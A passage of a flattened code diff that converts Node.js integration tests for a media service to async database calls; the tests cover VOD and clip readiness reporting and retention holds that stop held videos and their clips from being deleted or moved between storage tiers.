its copy is verified');-- // ── HTTP: v1 JSON, v2 JSON, watch pages ──-- const app = express();-- app.use(express.json());-- app.use('/api/v1/:app/vods', require('../server/vod/routes'));-- app.use('/api/v1/:app/clips', require('../server/vod/clips-routes'));-- app.use('/api/v2/:app/objects', require('../server/objects/routes'));-- app.use('/', require('../server/public/routes'));-- const server = await new Promise((res) => { const s = app.listen(0, '127.0.0.1', () => res(s)); });-- const get = (p, headers = {}) => new Promise((resolve, reject) => {-- http.get({ host: '127.0.0.1', port: server.address().port, path: p, headers }, (res) => {-- let body = ''; res.setEncoding('utf8'); res.on('data', c => { body += c; });-- res.on('end', () => resolve({ status: res.statusCode, headers: res.headers, body, json: () => JSON.parse(body) }));-- }).on('error', reject);-- });-- const key = { authorization: 'Bearer games-key' };-- const nav = { accept: 'text/html,*/*;q=0.8', 'sec-fetch-dest': 'document' };++ // ── HTTP: v1 JSON, v2 JSON, watch pages ──++ const app = express();++ app.use(express.json());++ app.use('/api/v1/:app/vods', require('../server/vod/routes'));++ app.use('/api/v1/:app/clips', require('../server/vod/clips-routes'));++ app.use('/api/v2/:app/objects', require('../server/objects/routes'));++ app.use('/', require('../server/public/routes'));++ const server = await new Promise((res) => { const s = app.listen(0, '127.0.0.1', () => res(s)); });++ const get = (p, headers = {}) => new Promise((resolve, reject) => {++ http.get({ host: '127.0.0.1', port: server.address().port, path: p, headers }, (res) => {++ let body = ''; res.setEncoding('utf8'); res.on('data', c => { body += c; });++ res.on('end', () => resolve({ status: res.statusCode, headers: res.headers, body, json: () => JSON.parse(body) }));++ }).on('error', reject);++ });++ const key = { authorization: 'Bearer games-key' };++ const nav = { accept: 'text/html,*/*;q=0.8', 'sec-fetch-dest': 'document' };-- let res = await get('/api/v1/games/vods/1', key);-- assert.strictEqual(res.status, 200);-- assert.deepStrictEqual([res.json().status, res.json().readiness.playable], ['ready', true], 'GET /vods/:id carries readiness');-- res = await get('/api/v1/games/vods/2', key);-- assert.deepStrictEqual([res.json().status, res.json().readiness.playable, res.json().readiness.reason], ['ready', false, 'verification_pending'],-- 'status stays as it was; readiness says the bytes are not verified');-- assert.ok(res.json().playback_url, 'existing fields are unchanged');-- res = await get('/api/v1/games/vods?include_recording=1', key);-- assert.ok(res.json().vods.every(v => v.readiness && typeof v.readiness.playable === 'boolean'), 'lists carry it too');-- res = await get('/api/v1/games/clips/12', key);-- assert.deepStrictEqual([res.json().status, res.json().readiness.reason], ['processing', 'processing']);-- res = await get(`/api/v2/games/objects/${vod(1).object_id}`, key);-- assert.deepStrictEqual(res.json().readiness, { metadata: true, bytes_verified: true, playable: true, hash_verified: true, verified_copies: ['local'], reason: null });-- res = await get('/api/v2/games/objects?kind=vod', key);-- assert.ok(res.json().objects.find(o => o.id === vod(2).object_id).readiness.reason === 'verification_pending', 'the v2 list carries it');-- console.log('✅ v1 VOD/clip JSON and v2 object JSON carry readiness (existing fields unchanged)');++ let res = await get('/api/v1/games/vods/1', key);++ assert.strictEqual(res.status, 200);++ assert.deepStrictEqual([res.json().status, res.json().readiness.playable], ['ready', true], 'GET /vods/:id carries readiness');++ res = await get('/api/v1/games/vods/2', key);++ assert.deepStrictEqual([res.json().status, res.json().readiness.playable, res.json().readiness.reason], ['ready', false, 'verification_pending'],++ 'status stays as it was; readiness says the bytes are not verified');++ assert.ok(res.json().playback_url, 'existing fields are unchanged');++ res = await get('/api/v1/games/vods?include_recording=1', key);++ assert.ok(res.json().vods.every(v => v.readiness && typeof v.readiness.playable === 'boolean'), 'lists carry it too');++ res = await get('/api/v1/games/clips/12', key);++ assert.deepStrictEqual([res.json().status, res.json().readiness.reason], ['processing', 'processing']);++ res = await get(`/api/v2/games/objects/${(await vod(1)).object_id}`, key);++ assert.deepStrictEqual(res.json().readiness, { metadata: true, bytes_verified: true, playable: true, hash_verified: true, verified_copies: ['local'], reason: null });++ res = await get('/api/v2/games/objects?kind=vod', key);++ const vod2 = await vod(2);++ assert.ok(res.json().objects.find(o => o.id === vod2.object_id).readiness.reason === 'verification_pending', 'the v2 list carries it');++ console.log('✅ v1 VOD/clip JSON and v2 object JSON carry readiness (existing fields unchanged)');-- const hasPlayer = (html) => /<video[\s>]/.test(html);-- res = await get('/v/1', nav);-- assert.ok(hasPlayer(res.body) && res.body.includes('<meta property="og:video"'), 'a playable VOD gets its player');-- res = await get('/v/2', nav);-- assert.strictEqual(res.status, 200);-- assert.ok(!hasPlayer(res.body), 'no player for bytes nobody verified');-- assert.ok(res.body.includes('Still processing') && res.body.includes('data-readiness="verification_pending"'));-- assert.ok(res.body.includes('content="noindex, follow"') && !res.body.includes('og:video') && !res.body.includes('application/ld+json') && !res.body.includes(' download>'),-- 'no index, no video metadata, no structured data, no download');-- res = await get('/v/3', nav);-- assert.ok(!hasPlayer(res.body) && res.body.includes('Still being recorded'));-- res = await get('/v/3?raw=1', {});-- assert.strictEqual(res.status, 200, 'the bytes of a recording still serve (Live\'s DVR reads them)');-- res = await get('/v/4', nav);-- assert.ok(!hasPlayer(res.body) && res.body.includes('could not be processed'));-- res = await get('/v/5', nav);-- assert.ok(!hasPlayer(res.body) && res.body.includes('No verified copy'));-- res = await get('/c/11', nav);-- assert.ok(hasPlayer(res.body), 'a cut clip plays');-- res = await get('/c/12', nav);-- assert.deepStrictEqual([res.status, hasPlayer(res.body), res.body.includes('still being cut')], [200, false, true], 'a clip being cut says so');-- res = await get('/c/12', { accept: 'video/webm,*/*;q=0.5', 'sec-fetch-dest': 'video' });-- assert.deepStrictEqual([res.status, res.json().error], [404, 'Not found'], 'its bytes are still a plain 404');-- res = await get('/c/13', nav);-- assert.ok(!hasPlayer(res.body) && res.body.includes('could not be cut'));-- console.log('✅ watch pages offer a player only when playable, and say why otherwise; the bytes route is unchanged');++ const hasPlayer = (html) => /<video[\s>]/.test(html);++ res = await get('/v/1', nav);++ assert.ok(hasPlayer(res.body) && res.body.includes('<meta property="og:video"'), 'a playable VOD gets its player');++ res = await get('/v/2', nav);++ assert.strictEqual(res.status, 200);++ assert.ok(!hasPlayer(res.body), 'no player for bytes nobody verified');++ assert.ok(res.body.includes('Still processing') && res.body.includes('data-readiness="verification_pending"'));++ assert.ok(res.body.includes('content="noindex, follow"') && !res.body.includes('og:video') && !res.body.includes('application/ld+json') && !res.body.includes(' download>'),++ 'no index, no video metadata, no structured data, no download');++ res = await get('/v/3', nav);++ assert.ok(!hasPlayer(res.body) && res.body.includes('Still being recorded'));++ res = await get('/v/3?raw=1', {});++ assert.strictEqual(res.status, 200, 'the bytes of a recording still serve (Live\'s DVR reads them)');++ res = await get('/v/4', nav);++ assert.ok(!hasPlayer(res.body) && res.body.includes('could not be processed'));++ res = await get('/v/5', nav);++ assert.ok(!hasPlayer(res.body) && res.body.includes('No verified copy'));++ res = await get('/c/11', nav);++ assert.ok(hasPlayer(res.body), 'a cut clip plays');++ res = await get('/c/12', nav);++ assert.deepStrictEqual([res.status, hasPlayer(res.body), res.body.includes('still being cut')], [200, false, true], 'a clip being cut says so');++ res = await get('/c/12', { accept: 'video/webm,*/*;q=0.5', 'sec-fetch-dest': 'video' });++ assert.deepStrictEqual([res.status, res.json().error], [404, 'Not found'], 'its bytes are still a plain 404');++ res = await get('/c/13', nav);++ assert.ok(!hasPlayer(res.body) && res.body.includes('could not be cut'));++ console.log('✅ watch pages offer a player only when playable, and say why otherwise; the bytes route is unchanged');-- server.close();-- db.close();-- fs.rmSync(tmp, { recursive: true, force: true });-- console.log('readiness: all checks passed');-- process.exit(0);++ server.close();++ await db.close();++ fs.rmSync(tmp, { recursive: true, force: true });++ console.log('readiness: all checks passed');++ process.exit(0);++ })().catch((err) => { console.error(err); process.exit(1); });})().catch((err) => { console.error(err); process.exit(1); });@@@ -12,215 +12,206 @@ const os = require('os');const path = require('path');const http = require('http');--const tmp = fs.mkdtempSync(path.join(os.tmpdir(), 'ov-media-holds-'));--const dir = (n) => { const d = path.join(tmp, n); fs.mkdirSync(d, { recursive: true }); return d; };--Object.assign(process.env, {-- DB_PATH: path.join(tmp, 'media.db'), VOD_PATH: dir('vods'), CLIPS_PATH: dir('clips'), FILES_PATH: dir('files'),-- OBJECTS_PATH: dir('objects'), THUMBNAILS_PATH: dir('thumbnails'), PASTES_PATH: dir('pastes'),-- MEDIA_PUBLIC_URL: 'https://media.test', OV_NETWORK_URL: 'https://openvibe.network',--});--for (const k of Object.keys(process.env)) if (/^MEDIA_(B2|R2)_/.test(k)) delete process.env[k];--delete process.env.PASTES_FROZEN_APPS;++(async () => {++ const tmp = fs.mkdtempSync(path.join(os.tmpdir(), 'ov-media-holds-'));++ const dir = (n) => { const d = path.join(tmp, n); fs.mkdirSync(d, { recursive: true }); return d; };++ Object.assign(process.env, {++ DB_PATH: path.join(tmp, 'media.db'), VOD_PATH: dir('vods'), CLIPS_PATH: dir('clips'), FILES_PATH: dir('files'),++ OBJECTS_PATH: dir('objects'), THUMBNAILS_PATH: dir('thumbnails'), PASTES_PATH: dir('pastes'),++ MEDIA_PUBLIC_URL: 'https://media.test', OV_NETWORK_URL: 'https://openvibe.network',++ });++ for (const k of Object.keys(process.env)) if (/^MEDIA_(B2|R2)_/.test(k)) delete process.env[k];++ delete process.env.PASTES_FROZEN_APPS;--const db = require('../server/db/database');--require('../server/views/service').ensureSchema();--const model = require('../server/objects/model');--const vodStorage = require('../server/vod/vod-storage');--const express = require('express');++ const db = require('../server/db/database');++ const model = require('../server/objects/model');++ const vodStorage = require('../server/vod/vod-storage');++ // The revisioned tier policies load once the database is open (server/index.js does this at boot).++ await vodStorage.tierConfig.init(vodStorage.DEFAULTS);++ await require('../server/objects/tier-policy').init();++ const express = require('express');--db.upsertApp({ app_id: 'live', api_key: 'live-key' });--db.upsertApp({ app_id: 'games', api_key: 'games-key' });--const raw = () => db.getDb();--const file = (d, name, bytes = 64) => { const p = path.join(d, name); fs.writeFileSync(p, Buffer.alloc(bytes, 3)); return p; };--const insVod = (id, name, { app = 'live', bytes = 64, recording = 0, clipsOnly = 0, duration = 60 } = {}) => raw().prepare(-- `INSERT INTO vods (id, app_id, title, file_path, file_size, is_public, visibility, duration_seconds, is_recording, clips_only, storage_provider)-- VALUES (?, ?, ?, ?, ?, 1, 'public', ?, ?, ?, 'local')`).run(id, app, `vod ${id}`, name ? file(process.env.VOD_PATH, name, bytes) : null, bytes, duration, recording, clipsOnly);--const insClip = (id, vodId, name) => raw().prepare(`INSERT INTO clips (id, app_id, vod_id, title, file_path, is_public, visibility, status, duration_seconds)-- VALUES (?, 'live', ?, ?, ?, 1, 'public', 'ready', 5)`).run(id, vodId, `clip ${id}`, file(process.env.CLIPS_PATH, name, 32));++ await db.upsertApp({ app_id: 'live', api_key: 'live-key' });++ await db.upsertApp({ app_id: 'games', api_key: 'games-key' });++ const raw = () => db.getDb();++ const file = (d, name, bytes = 64) => { const p = path.join(d, name); fs.writeFileSync(p, Buffer.alloc(bytes, 3)); return p; };++ const insVod = async (id, name, { app = 'live', bytes = 64, recording = 0, clipsOnly = 0, duration = 60 } = {}) => await raw().prepare(++ `INSERT INTO vods (id, app_id, title, file_path, file_size, is_public, visibility, duration_seconds, is_recording, clips_only, storage_provider) OVERRIDING SYSTEM VALUE++ VALUES (?, ?, ?, ?, ?, 1, 'public', ?, ?, ?, 'local') RETURNING id`).run(id, app, `vod ${id}`, name ? file(process.env.VOD_PATH, name, bytes) : null, bytes, duration, recording, clipsOnly);++ const insClip = async (id, vodId, name) => await raw().prepare(`INSERT INTO clips (id, app_id, vod_id, title, file_path, is_public, visibility, status, duration_seconds) OVERRIDING SYSTEM VALUE++ VALUES (?, 'live', ?, ?, ?, 1, 'public', 'ready', 5) RETURNING id`).run(id, vodId, `clip ${id}`, file(process.env.CLIPS_PATH, name, 32));--// ── An old database: no note column, the first-version triggers ──--insVod(99, 'vod-live-99-1.webm');--model.sync('vod', 99);--raw().exec('ALTER TABLE media_holds DROP COLUMN note');--for (const t of ['vods', 'clips', 'files', 'pastes']) raw().exec(`DROP TRIGGER IF EXISTS trg_${t}_hold_guard_v2`);--raw().exec(`DROP TRIGGER IF EXISTS trg_media_objects_hold_guard_v2; DROP TRIGGER IF EXISTS trg_media_objects_hold_delete_v2;-- CREATE TRIGGER trg_clips_hold_guard BEFORE DELETE ON clips WHEN OLD.object_id IS NOT NULL-- AND EXISTS (SELECT 1 FROM media_holds WHERE object_id = OLD.object_id AND released_at IS NULL)-- BEGIN SELECT RAISE(ABORT, 'media object is under a retention hold'); END;`);--db.close();--const cols = db.getDb().prepare('PRAGMA table_info(media_holds)').all().map(c => c.name);--assert.ok(cols.includes('note'), 'the note column is added to an existing media_holds');--const triggers = raw().prepare("SELECT name FROM sqlite_master WHERE type = 'trigger' AND name LIKE '%hold%' ORDER BY name").all().map(r => r.name);--assert.deepStrictEqual(triggers, ['trg_clips_hold_guard_v2', 'trg_files_hold_guard_v2', 'trg_media_objects_hold_delete_v2', 'trg_media_objects_hold_guard_v2', 'trg_pastes_hold_guard_v2', 'trg_vods_hold_guard_v2'],-- 'the first-version guards are replaced');--console.log('✅ migration: media_holds gains note; the hold triggers are replaced by the clip-aware ones');++ // ── A VOD from before (its object projected) ──++ await insVod(99, 'vod-live-99-1.webm');++ await model.sync('vod', 99);--// ── Fixtures ──--insVod(1, 'vod-live-1-1.webm');--insVod(2, 'vod-live-2-2.webm');--insVod(3, null, { clipsOnly: 1 });--insVod(4, 'vod-games-4-4.webm', { app: 'games' });--insVod(5, 'vod-live-5-5.webm'); // no object yet: the staff route projects it--for (const id of [1, 2, 4]) model.sync('vod', id);--insClip(11, 1, 'clip-11.webm');--model.sync('clip', 11);--insClip(12, 1, 'clip-12.webm'); // cut from VOD 1, not projected yet--insClip(13, 2, 'clip-13.webm');--model.sync('clip', 13);--const vod = (id) => db.get('SELECT * FROM vods WHERE id = ?', [id]);--const clip = (id) => db.get('SELECT * FROM clips WHERE id = ?', [id]);--raw().prepare(`INSERT INTO pastes (slug, app_id, title, type, content, language, visibility, screenshot_path)-- VALUES ('shot1', 'live', 'S', 'screenshot', '', 'text', 'public', ?)`).run(file(dir('pastes/screenshots'), 'shot1.png', 20));--model.sync('paste', db.get("SELECT id FROM pastes WHERE slug = 'shot1'").id);++ // ── Fixtures ──++ await insVod(1, 'vod-live-1-1.webm');++ await insVod(2, 'vod-live-2-2.webm');++ await insVod(3, null, { clipsOnly: 1 });++ await insVod(4, 'vod-games-4-4.webm', { app: 'games' });++ await insVod(5, 'vod-live-5-5.webm'); // no object yet: the staff route projects it++ for (const id of [1, 2, 4]) await model.sync('vod', id);++ await insClip(11, 1, 'clip-11.webm');++ await model.sync('clip', 11);++ await insClip(12, 1, 'clip-12.webm'); // cut from VOD 1, not projected yet++ await insClip(13, 2, 'clip-13.webm');++ await model.sync('clip', 13);++ const vod = async (id) => await db.get('SELECT * FROM vods WHERE id = ?', [id]);++ const clip = async (id) => await db.get('SELECT * FROM clips WHERE id = ?', [id]);++ await raw().prepare(`INSERT INTO pastes (slug, app_id, title, type, content, language, visibility, screenshot_path)++ VALUES ('shot1', 'live', 'S', 'screenshot', '', 'text', 'public', ?) RETURNING id`).run(file(dir('pastes/screenshots'), 'shot1.png', 20));++ await model.sync('paste', (await db.get("SELECT id FROM pastes WHERE slug = 'shot1'")).id);--const app = express();--app.use(express.json());--app.use('/api/v1/:app/admin/storage', require('../server/admin/routes'));--app.use('/api/v1/:app/vods', require('../server/vod/routes'));--app.use('/api/v1/:app/clips', require('../server/vod/clips-routes'));--app.use('/api/v1/:app/pastes', require('../server/pastes/routes'));--app.use('/api/v2/:app/objects', require('../server/objects/routes'));++ const app = express();++ app.use(express.json());++ app.use('/api/v1/:app/admin/storage', require('../server/admin/routes'));++ app.use('/api/v1/:app/vods', require('../server/vod/routes'));++ app.use('/api/v1/:app/clips', require('../server/vod/clips-routes'));++ app.use('/api/v1/:app/pastes', require('../server/pastes/routes'));++ app.use('/api/v2/:app/objects', require('../server/objects/routes'));--(async () => {-- const server = await new Promise((r) => { const s = app.listen(0, '127.0.0.1', () => r(s)); });-- const call = (method, p, body, headers = {}) => new Promise((resolve, reject) => {-- const data = body ? JSON.stringify(body) : '';-- const rq = http.request({ host: '127.0.0.1', port: server.address().port, path: p, method,-- headers: { authorization: 'Bearer live-key', 'content-type': 'application/json', 'content-length': Buffer.byteLength(data), ...headers } },-- (res) => { let b = ''; res.on('data', (c) => { b += c; }); res.on('end', () => resolve({ status: res.statusCode, body: b ? JSON.parse(b) : {} })); });-- rq.on('error', reject);-- rq.end(data);-- });-- const H = '/api/v1/live/admin/storage/holds';++ (async () => {++ const server = await new Promise((r) => { const s = app.listen(0, '127.0.0.1', () => r(s)); });++ const call = (method, p, body, headers = {}) => new Promise((resolve, reject) => {++ const data = body ? JSON.stringify(body) : '';++ const rq = http.request({ host: '127.0.0.1', port: server.address().port, path: p, method,++ headers: { authorization: 'Bearer live-key', 'content-type': 'application/json', 'content-length': Buffer.byteLength(data), ...headers } },++ (res) => { let b = ''; res.on('data', (c) => { b += c; }); res.on('end', () => resolve({ status: res.statusCode, body: b ? JSON.parse(b) : {} })); });++ rq.on('error', reject);++ rq.end(data);++ });++ const H = '/api/v1/live/admin/storage/holds';-- // ── Staff routes: place ──-- let r = await call('POST', H, { vod_id: 1, reason: 'DMCA notice #7 — keep the evidence', kind: 'dmca', note: 'counter-notice window ends Oct 9', placed_by: 'staff:alex' });-- assert.strictEqual(r.status, 201, JSON.stringify(r.body));-- const hold = r.body;-- assert.deepStrictEqual([hold.kind, hold.placed_by, hold.created_by, hold.note, hold.released_at, hold.object.id, hold.object.legacy_ref],-- ['dmca', 'staff:alex', 'staff:alex', 'counter-notice window ends Oct 9', null, vod(1).object_id, 'legacy:live:vod:1']);-- assert.ok(hold.placed_at, 'placed_at is recorded');-- assert.strictEqual(hold.clips_protected, 2, 'both clips cut from the VOD are protected');-- assert.strictEqual((await call('POST', H, { vod_id: 2 })).status, 400, 'a reason is required');-- assert.strictEqual((await call('POST', H, { vod_id: 2, reason: 'x', kind: 'whim' })).status, 400, 'known kinds only');-- assert.strictEqual((await call('POST', H, { reason: 'x' })).status, 400, 'a target is required');-- assert.strictEqual((await call('POST', H, { vod_id: 4, reason: 'x' })).status, 404, "another app's VOD is not found");-- assert.strictEqual((await call('POST', H, { vod_id: 3, reason: 'x' })).status, 409, 'a clips-only recording has no object to hold');-- assert.strictEqual((await call('POST', H, { vod_id: 2, reason: 'x' }, { 'x-ov-user-id': '5' })).status, 403, 'never acting for a user');-- assert.strictEqual((await call('POST', '/api/v1/games/admin/storage/holds', { vod_id: 2, reason: 'x' }, { authorization: 'Bearer games-key' })).status, 404, "games cannot hold live's VOD");-- r = await call('POST', H, { vod_id: 5, reason: 'moderation review' });-- assert.strictEqual(r.status, 201);-- assert.ok(vod(5).object_id && r.body.object.id === vod(5).object_id, 'a row with no object yet is projected, then held');-- assert.strictEqual(r.body.placed_by, 'app:live', 'placed_by defaults to the app');-- const hold5 = r.body.id;-- console.log('✅ staff routes place holds by vod/clip/object id (reason required, app key only, own app only)');++ // ── Staff routes: place ──++ let r = await call('POST', H, { vod_id: 1, reason: 'DMCA notice #7 — keep the evidence', kind: 'dmca', note: 'counter-notice window ends Oct 9', placed_by: 'staff:alex' });++ assert.strictEqual(r.status, 201, JSON.stringify(r.body));++ const hold = r.body;++ assert.deepStrictEqual([hold.kind, hold.placed_by, hold.created_by, hold.note, hold.released_at, hold.object.id, hold.object.legacy_ref],++ ['dmca', 'staff:alex', 'staff:alex', 'counter-notice window ends Oct 9', null, (await vod(1)).object_id, 'legacy:live:vod:1']);++ assert.ok(hold.placed_at, 'placed_at is recorded');++ assert.strictEqual(hold.clips_protected, 2, 'both clips cut from the VOD are protected');++ assert.strictEqual((await call('POST', H, { vod_id: 2 })).status, 400, 'a reason is required');++ assert.strictEqual((await call('POST', H, { vod_id: 2, reason: 'x', kind: 'whim' })).status, 400, 'known kinds only');++ assert.strictEqual((await call('POST', H, { reason: 'x' })).status, 400, 'a target is required');++ assert.strictEqual((await call('POST', H, { vod_id: 4, reason: 'x' })).status, 404, "another app's VOD is not found");++ assert.strictEqual((await call('POST', H, { vod_id: 3, reason: 'x' })).status, 409, 'a clips-only recording has no object to hold');++ assert.strictEqual((await call('POST', H, { vod_id: 2, reason: 'x' }, { 'x-ov-user-id': '5' })).status, 403, 'never acting for a user');++ assert.strictEqual((await call('POST', '/api/v1/games/admin/storage/holds', { vod_id: 2, reason: 'x' }, { authorization: 'Bearer games-key' })).status, 404, "games cannot hold live's VOD");++ r = await call('POST', H, { vod_id: 5, reason: 'moderation review' });++ assert.strictEqual(r.status, 201);++ assert.ok((await vod(5)).object_id && r.body.object.id === (await vod(5)).object_id, 'a row with no object yet is projected, then held');++ assert.strictEqual(r.body.placed_by, 'app:live', 'placed_by defaults to the app');++ const hold5 = r.body.id;++ console.log('✅ staff routes place holds by vod/clip/object id (reason required, app key only, own app only)');-- // ── A held VOD: no delete path works ──-- r = await call('DELETE', '/api/v1/live/vods/1');-- assert.deepStrictEqual([r.status, r.body.code], [409, 'media.object.held']);-- r = await call('DELETE', '/api/v1/live/admin/storage/vods/bulk', { ids: [1] });-- assert.deepStrictEqual([r.body.deleted, r.body.results[0].error], [0, 'VOD is under a retention hold']);-- await vodStorage.deleteVodObjects(vod(1));-- assert.ok(fs.existsSync(vod(1).file_path), 'deleteVodObjects keeps held bytes');-- assert.throws(() => db.run('DELETE FROM vods WHERE id = 1'), /retention hold/, 'row SQL is refused by the trigger');-- assert.throws(() => db.run("UPDATE media_objects SET lifecycle_status = 'deleted' WHERE id = ?", [vod(1).object_id]), /retention hold/);-- // …nor a tier move of any kind (placement is frozen).-- assert.deepStrictEqual([(await vodStorage.moveToCold(1)).held, (await vodStorage.promoteToR2(1)).held], [true, true]);-- raw().prepare("UPDATE vods SET storage_provider = 'r2' WHERE id = 1").run();-- const hot = await vodStorage.moveToHot(1);-- assert.deepStrictEqual([hot.ok, hot.held], [false, true], 'moveToHot refuses too (it would drop the R2 copy)');-- assert.strictEqual(vod(1).storage_provider, 'r2', 'the row is not flipped');-- assert.strictEqual((await vodStorage.demoteFromR2(1)).held, true);-- raw().prepare("UPDATE vods SET storage_provider = 'local' WHERE id = 1").run();-- for (const target of ['local', 'b2', 'r2']) {-- r = await call('POST', '/api/v1/live/admin/storage/tiers/move', { vod_id: 1, target });-- assert.strictEqual(r.body.held, true, `the admin move to ${target} is refused`);-- }-- console.log('✅ a held VOD: every delete path and every tier move (including moveToHot) is refused');++ // ── A held VOD: no delete path works ──++ r = await call('DELETE', '/api/v1/live/vods/1');++ assert.deepStrictEqual([r.status, r.body.code], [409, 'media.object.held']);++ r = await call('DELETE', '/api/v1/live/admin/storage/vods/bulk', { ids: [1] });++ assert.deepStrictEqual([r.body.deleted, r.body.results[0].error], [0, 'VOD is under a retention hold']);++ await vodStorage.deleteVodObjects(await vod(1));++ assert.ok(fs.existsSync((await vod(1)).file_path), 'deleteVodObjects keeps held bytes');++ await assert.rejects(async () => await db.run('DELETE FROM vods WHERE id = 1'), /retention hold/, 'row SQL is refused by the trigger');++ await assert.rejects(async () => await db.run("UPDATE media_objects SET lifecycle_status = 'deleted' WHERE id = ?", [(await vod(1)).object_id]), /retention hold/);++ // …nor a tier move of any kind (placement is frozen).++ assert.deepStrictEqual([(await vodStorage.moveToCold(1)).held, (await vodStorage.promoteToR2(1)).held], [true, true]);++ await raw().prepare("UPDATE vods SET storage_provider = 'r2' WHERE id = 1").run();++ const hot = await vodStorage.moveToHot(1);++ assert.deepStrictEqual([hot.ok, hot.held], [false, true], 'moveToHot refuses too (it would drop the R2 copy)');++ assert.strictEqual((await vod(1)).storage_provider, 'r2', 'the row is not flipped');++ assert.strictEqual((await vodStorage.demoteFromR2(1)).held, true);++ await raw().prepare("UPDATE vods SET storage_provider = 'local' WHERE id = 1").run();++ for (const target of ['local', 'b2', 'r2']) {++ r = await call('POST', '/api/v1/live/admin/storage/tiers/move', { vod_id: 1, target });++ assert.strictEqual(r.body.held, true, `the admin move to ${target} is refused`);++ }++ console.log('✅ a held VOD: every delete path and every tier move (including moveToHot) is refused');-- // ── Clips cut from a held VOD follow its hold ──-- assert.strictEqual(model.isHeld(clip(11).object_id), true, 'the clip object inherits the VOD hold');-- r = await call('DELETE', '/api/v1/live/clips/11');-- assert.deepStrictEqual([r.status, r.body.code], [409, 'media.object.held']);-- await vodStorage.deleteVodObjects(clip(11));-- assert.ok(fs.existsSync(clip(11).file_path), 'the clip keeps its bytes');-- assert.throws(() => db.run('DELETE FROM clips WHERE id = 11'), /retention hold/);-- assert.strictEqual(clip(12).object_id, null);-- assert.strictEqual(model.isHeldRow(clip(12)), true, 'a clip with no object yet follows its VOD by vod_id');-- assert.throws(() => db.run('DELETE FROM clips WHERE id = 12'), /retention hold/, 'the trigger covers it too');-- r = await call('GET', `/api/v2/live/objects/${clip(11).object_id}/holds`);-- assert.deepStrictEqual([r.body.held, r.body.holds.length, r.body.inherited_holds.length, r.body.inherited_holds[0].inherited_from],-- [true, 0, 1, vod(1).object_id], 'the v2 holds answer shows the inherited hold');-- assert.strictEqual((await call('GET', `/api/v2/live/objects/${clip(11).object_id}`)).body.held, true);-- assert.strictEqual(model.isHeld(clip(13).object_id), false, "another VOD's clip is not held");-- console.log('✅ clips cut from a held VOD are held (also before they have an object); others are not');++ // ── Clips cut from a held VOD follow its hold ──++ assert.strictEqual(await model.isHeld((await clip(11)).object_id), true, 'the clip object inherits the VOD hold');++ r = await call('DELETE', '/api/v1/live/clips/11');++ assert.deepStrictEqual([r.status, r.body.code], [409, 'media.object.held']);++ await vodStorage.deleteVodObjects(await clip(11));++ assert.ok(fs.existsSync((await clip(11)).file_path), 'the clip keeps its bytes');++ await assert.rejects(async () => await db.run('DELETE FROM clips WHERE id = 11'), /retention hold/);++ assert.strictEqual((await clip(12)).object_id, null);++ assert.strictEqual(await model.isHeldRow(await clip(12)), true, 'a clip with no object yet follows its VOD by vod_id');++ await assert.rejects(async () => await db.run('DELETE FROM clips WHERE id = 12'), /retention hold/, 'the trigger covers it too');++ r = await call('GET', `/api/v2/live/objects/${(await clip(11)).object_id}/holds`);++ assert.deepStrictEqual([r.body.held, r.body.holds.length, r.body.inherited_holds.length, r.body.inherited_holds[0].inherited_from],++ [true, 0, 1, (await vod(1)).object_id], 'the v2 holds answer shows the inherited hold');++ assert.strictEqual((await call('GET', `/api/v2/live/objects/${(await clip(11)).object_id}`)).body.held, true);++ assert.strictEqual(await model.isHeld((await clip(13)).object_id), false, "another VOD's clip is not held");++ console.log('✅ clips cut from a held VOD are held (also before they have an object); others are not');-- // ── Finalize and the junk sweep keep held recordings ──-- const finalize = require('../server/vod/finalize');-- insVod(20, 'vod-live-20-0.webm', { bytes: 0, recording: 1, duration: 0 });-- model.sync('vod', 20);-- model.placeHold({ object_id: vod(20).object_id, kind: 'moderation', reason: 'live report', created_by: 'staff:mod' });-- await finalize.finalizeVod(20);-- assert.ok(vod(20) && fs.existsSync(vod(20).file_path), 'a held zero-byte recording keeps its row and file');-- assert.deepStrictEqual([vod(20).is_recording, vod(20).health_status], [0, 'zero_byte'], 'settled as failed instead');-- insVod(21, null, { recording: 1, duration: 0 });-- raw().prepare("UPDATE vods SET file_path = ? WHERE id = 21").run(path.join(process.env.VOD_PATH, 'never-written.webm'));-- model.sync('vod', 21);-- model.placeHold({ object_id: vod(21).object_id, kind: 'evidence', reason: 'x' });-- await finalize.finalizeVod(21);-- assert.deepStrictEqual([!!vod(21), vod(21) && vod(21).health_status], [true, 'missing_file'], 'a held recording with no file keeps its row');-- insVod(22, null, { recording: 1, duration: 0 });-- await finalize.finalizeVod(22);-- assert.strictEqual(vod(22), undefined, 'an unheld empty recording is still deleted');-- // Junk sweep: public, finished, 0:00, no media.-- insVod(23, 'vod-live-23-0.webm', { bytes: 0, duration: 0 });-- raw().prepare("UPDATE vods SET health_status = 'unknown' WHERE id IN (23)").run();-- model.sync('vod', 23);-- model.placeHold({ object_id: vod(23).object_id, kind: 'admin', reason: 'x' });-- insVod(24, 'vod-live-24-0.webm', { bytes: 0, duration: 0 });-- require('../server/vod/health-job').start();-- require('../server/vod/health-job').stop();-- assert.ok(vod(23) && fs.existsSync(vod(23).file_path), 'the junk sweep keeps a held row and its file');-- assert.strictEqual(vod(24), undefined, 'and still removes an unheld one');-- console.log('✅ finalize and the junk sweep settle held empty recordings instead of deleting them');++ // ── Finalize and the junk sweep keep held recordings ──++ const finalize = require('../server/vod/finalize');++ await insVod(20, 'vod-live-20-0.webm', { bytes: 0, recording: 1, duration: 0 });++ await model.sync('vod', 20);++ await model.placeHold({ object_id: (await vod(20)).object_id, kind: 'moderation', reason: 'live report', created_by: 'staff:mod' });++ await finalize.finalizeVod(20);++ assert.ok(await vod(20) && fs.existsSync((await vod(20)).file_path), 'a held zero-byte recording keeps its row and file');++ assert.deepStrictEqual([(await vod(20)).is_recording, (await vod(20)).health_status], [0, 'zero_byte'], 'settled as failed instead');++ await insVod(21, null, { recording: 1, duration: 0 });++ await raw().prepare("UPDATE vods SET file_path = ? WHERE id = 21").run(path.join(process.env.VOD_PATH, 'never-written.webm'));++ await model.sync('vod', 21);++ await model.placeHold({ object_id: (await vod(21)).object_id, kind: 'evidence', reason: 'x' });++ await finalize.finalizeVod(21);++ assert.deepStrictEqual([!!await vod(21), await vod(21) && (await vod(21)).health_status], [true, 'missing_file'], 'a held recording with no file keeps its row');++ await insVod(22, null, { recording: 1, duration: 0 });++ await finalize.finalizeVod(22);++ assert.strictEqual(await vod(22), undefined, 'an unheld empty recording is still deleted');++ // Junk sweep: public, finished, 0:00, no media.++ await insVod(23, 'vod-live-23-0.webm', { bytes: 0, duration: 0 });++ await raw().prepare("UPDATE vods 